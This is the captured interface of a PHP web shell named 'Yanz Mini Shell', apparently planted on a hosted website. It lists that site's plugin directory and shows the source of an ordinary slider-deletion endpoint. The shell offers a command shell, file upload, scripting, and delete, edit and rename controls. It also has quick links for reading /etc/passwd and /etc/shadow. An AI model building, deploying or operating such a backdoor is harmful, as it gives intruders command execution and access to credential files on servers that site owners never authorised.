Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
plugins
sparkline
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php header('Content-Type: application/json'); include '../../config/config.php'; // Adjust this path if necessary // Log the request error_log("Category deletion request received"); // Read JSON input $inputData = json_decode(file_get_contents('php://input'), true); // Declare variables and initialize $id = $deleted_by = ''; $errors = []; // Sanitize and validate functions function sanitizeText($text) { return htmlspecialchars(trim($text)); } function validateRequiredField($field, $fieldName) { global $errors; if (empty($field)) { $errors[] = "Field '$fieldName' is required"; } } // Validate and sanitize required fields $id = isset($inputData['id']) ? sanitizeText($inputData['id']) : ''; validateRequiredField($id, 'id'); // Sanitize user data (deleted_by) $deleted_by = isset($inputData['deleted_by']) ? sanitizeText($inputData['deleted_by']) : 1; // If validation fails, return errors if (!empty($errors)) { echo json_encode(['success' => false, 'errors' => $errors]); exit; } try { // Check if the category exists in the database and fetch the image path $checkStmt = $pdo->prepare("SELECT image FROM tbl_sliders WHERE id = :id"); $checkStmt->execute([':id' => $id]); $categoryData = $checkStmt->fetch(PDO::FETCH_ASSOC); if (!$categoryData) { echo json_encode(["success" => false, 'message' => 'Slider not found or already deleted']); exit; } $imagePath = $categoryData['image']; // Get the image path // Delete the category record from the database $stmt = $pdo->prepare("DELETE FROM tbl_sliders WHERE id = :id"); if ($stmt->execute([':id' => $id])) { // Unlink (delete) the image file if it exists if (!empty($imagePath) && file_exists('../../' . $imagePath)) { unlink('../../' . $imagePath); } echo json_encode(["success" => true, "message" => "Slider deleted successfully, image removed"]); } else { echo json_encode(["success" => false, 'message' => 'Failed to delete category']); } } catch (PDOException $e) { error_log("Error deleting category: " . $e->getMessage()); echo json_encode(["success" => false, 'error' => 'Database error: ' . $e->getMessage()]); } ?>
Free Space : 10945265664 Byte